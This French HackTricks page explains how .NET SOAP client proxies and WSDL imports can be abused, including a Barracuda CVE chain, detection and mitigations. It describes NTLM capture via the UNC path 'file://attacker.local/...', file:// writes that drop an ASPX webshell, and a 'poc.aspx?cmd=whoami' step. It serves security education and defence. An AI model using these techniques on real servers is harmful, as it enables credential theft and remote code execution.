Abus des proxies clients .NET SOAP/WSDL

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

TL;DR

  • SoapHttpClientProtocol, DiscoveryClientProtocol et consorts hĂ©ritent de HttpWebClientProtocol, dont GetWebRequest() retourne l’instance agnostique au scheme WebRequest produite par WebRequest.Create() sans forcer HttpWebRequest.
  • Si un attaquant contrĂŽle le Url du proxy, le framework remplace silencieusement par FileWebRequest, FtpWebRequest ou des handlers UNC/SMB, transformant des proxies “HTTP” en NTLM leak gadgets ou en outils d’écriture de fichiers arbitraires.
  • Toute fonctionnalitĂ© qui importe un WSDL fourni par l’attaquant via ServiceDescriptionImporter aggrave le bug : le WSDL contrĂŽle le constructeur du proxy gĂ©nĂ©rĂ©, les mĂ©thodes SOAP, les types complexes et les espaces de noms, permettant des RCE prĂ©-auth (webshells, script drops) dans des produits tels que Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell et SSIS.

Cause racine : HttpWebClientProtocol est agnostique au scheme

WebClientProtocol.GetWebRequest() fait var req = WebRequest.Create(uri) et retourne cet objet sans le modifier. HttpWebClientProtocol.GetWebRequest() tente req as HttpWebRequest pour dĂ©finir des champs rĂ©servĂ©s Ă  HTTP, mais il retourne toujours le req original mĂȘme quand le cast Ă©choue. Le runtime obĂ©it donc au scheme prĂ©sent dans Url :

  • http(s):// → HttpWebRequest
  • file:/// ou \\host\share\ → FileWebRequest
  • ftp:// → FtpWebRequest

SoapHttpClientProtocol.Invoke() stream ensuite le corps POST SOAP via le handler de transport sĂ©lectionnĂ©, mĂȘme si cela signifie Ă©crire sur le disque ou via SMB.

Primitif 1 – Capture / relay NTLM via des cibles UNC

  1. Obtenir le contrĂŽle de SoapHttpClientProtocol.Url (setter direct, valeur de config, ligne en base, etc.).
  2. Le pointer vers un chemin UNC comme file://attacker.local/sink/payload.
  3. Le CLR ouvre le chemin via SMB et effectue une authentification intégrée, leaking NTLM challenge/response to the attacker.
  4. Utiliser les hashes capturés pour du cracking offline ou du NTLM relay (SMB/HTTP) si signing/EPA ne sont pas présents.

Cela s’applique Ă  tout chemin proxy .NET SOAP/HTTP acceptant une entrĂ©e utilisateur, mĂȘme s’il n’y a pas d’autre vecteur d’exploitation apparent.

Primitif 2 – Écritures de fichiers arbitraires via file://

  1. DĂ©finir Url = "file:///inetpub/wwwroot/poc.aspx" (ou tout chemin inscriptible) avant l’appel du proxy.
  2. Invoquer n’importe quelle mĂ©thode SOAP ; le framework Ă©crit l’ensemble de l’enveloppe SOAP dans le chemin choisi, Ă©crasant les fichiers existants.
  3. Les arguments contrĂŽlĂ©s par l’utilisateur apparaissent dans des Ă©lĂ©ments XML, permettant aux attaquants de dĂ©poser des payloads CSHTML/ASPX ou d’empoisonner des fichiers de config.

Limitations :

  • Le contenu est toujours du XML ; les champs scalaires sont entity-encodĂ©s, donc injecter <script> via des chaĂźnes simples nĂ©cessite des techniques supplĂ©mentaires.
  • Des payloads exploitables requiĂšrent au moins un argument influençable par l’attaquant ou la capacitĂ© de modifier la signature de la mĂ©thode (voir l’abus de WSDL).

Le runtime lance souvent Client found response content type of 'application/octet-stream', but expected 'text/xml' aprĂšs l’écriture — traiter cette erreur comme un IOC.

Weaponisation des imports WSDL

Proxies auto-générés via ServiceDescriptionImporter

Beaucoup de produits exposent une fonctionnalitĂ© “custom web service” qui accepte une URL WSDL, puis :

  1. ServiceDescription.Read() du WSDL contrĂŽlĂ© par l’attaquant.
  2. ServiceDescriptionImporter génÚre des classes proxy C# étendant SoapHttpClientProtocol.
  3. CodeDOM compile le proxy et la reflection appelle la méthode demandée.

L’attaquant contrîle entiùrement :

  • soap:address / soap12:address location → devient base.Url (peut dĂ©finir file:// ou des chemins UNC).
  • Les noms de mĂ©thode, listes de paramĂštres, types complexes et serializers.
  • Les URI d’espaces de noms qui finissent en attributs xmlns:* dans chaque message SOAP.

Aucune validation de scheme n’a lieu, donc chaque proxy gĂ©nĂ©rĂ© hĂ©rite de la faille initiale.

Façonner l’enveloppe SOAP pour RCE

  • Complex type serialization : DĂ©finir des structs personnalisĂ©s dans le WSDL de sorte que lorsque XmlSerializer les réémet, ils produisent des noms/attributs d’élĂ©ments choisis par l’attaquant. Pour dĂ©poser une webshell ASPX, construire des types qui sĂ©rialisent en :
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>

et pointer Url vers file:///.../webroot/shell.aspx pour obtenir une RCE.

  • Namespace injection : MĂȘme quand les arguments sont codĂ©s en dur (par ex. Umbraco Forms), les namespaces dĂ©clarĂ©s dans le WSDL (ex. xmlns:tns="http://host/service?x=@{...}") sont copiĂ©s tels quels dans l’enveloppe SOAP. Encoder des payloads dans la query string d’un namespace permet des drops CSHTML Razor ou PowerShell sans contrĂŽle des paramĂštres.

Ces techniques ont alimentĂ© l’exploit contre Barracuda Service Center RMM (CVE-2025-34392) : un appel SOAP non authentifiĂ© a fourni un WSDL malveillant, a dĂ©fini soap12:address sur file:///Program Files/.../SCMessaging/poc.aspx, injectĂ© <script runat="server"> via des paramĂštres complexes, et a uploadĂ© une webshell exĂ©cutant des commandes cmd.exe arbitraires.

DĂ©roulement typique d’une attaque

  1. Identifier une fonctionnalité acceptant une URL WSDL ou permettant de configurer des endpoints SOAP (ex. Barracuda InvokeRemoteMethod, connecteurs Ivanti EPM, datasources Umbraco 8 Forms, PowerShell New-WebServiceProxy).
  2. Héberger un WSDL malveillant dont le soap:address pointe vers un chemin inscriptible ou un partage UNC et dont les schémas fournissent des méthodes/types adaptés au payload.
  3. DĂ©clencher l’import/compilation. La cible Ă©met un DLL de proxy avec constructeur et mĂ©thodes contrĂŽlĂ©s par l’attaquant.
  4. Quand l’application invoque la mĂ©thode gĂ©nĂ©rĂ©e, la requĂȘte SOAP est sĂ©rialisĂ©e et Ă©crite dans le chemin spĂ©cifiĂ© par l’attaquant, embarquant le payload.
  5. Exécuter le fichier déposé (naviguer vers poc.aspx?cmd=whoami, charger le CSHTML, ou laisser PowerShell exécuter le script) ou rejouer le matériel NTLM capturé.

Détection & chasse

  • Analyse statique : Grepper pour ServiceDescriptionImporter, SoapHttpClientProtocol, HttpWebClientProtocol, ou New-WebServiceProxy. Tracer la provenance de Url ou des entrĂ©es WSDL — toute source contrĂŽlĂ©e par l’utilisateur est un signal d’alerte.
  • TĂ©lĂ©mĂ©trie runtime :
    • Instrumenter la crĂ©ation des proxies pour logger les schemes ; alerter sur les valeurs file, ftp ou UNC.
    • Surveiller l’erreur caractĂ©ristique Client found response content type of 'application/octet-stream' aprĂšs des appels SOAP.
    • Surveiller des Ă©critures inattendues .aspx/.cshtml/.ps1 sous les rĂ©pertoires applicatifs effectuĂ©es par l’identitĂ© du service web.
  • Signaux rĂ©seau/fichiers : connexions SMB initiĂ©es par des serveurs web vers l’infrastructure de l’attaquant, ou compilation soudaine de DLLs de proxy temporaires, prĂ©cĂšdent souvent l’exploitation.

Mitigations

  • Enforcer une validation du transport avant d’invoquer tout proxy dĂ©rivĂ© de HttpWebClientProtocol :
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
  • Sanitize les WSDL importĂ©s : tĂ©lĂ©charger les proxies via un broker qui réécrit ou rejette les entrĂ©es soap:address non HTTP/S, supprime les bindings inconnus, et interdit les tricks d’espace de noms porteurs de payload.
  • DĂ©sactiver les fonctionnalitĂ©s WSDL non fiables : remplacer les commoditĂ©s “upload a WSDL” par des templates serveur validĂ©s ou des allowlists.
  • SĂ©parer les emplacements d’écriture : s’assurer que les app pools ne peuvent pas Ă©crire dans les rĂ©pertoires exĂ©cutables ; utiliser des volumes sĂ©parĂ©s pour les donnĂ©es vs le code de sorte que les primitives d’écriture ne deviennent pas des RCE.
  • Durcir l’exposition NTLM : dĂ©sactiver SMB sortant quand c’est possible ; sinon appliquer SMB signing, EPA et autres mitigations contre le relay.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks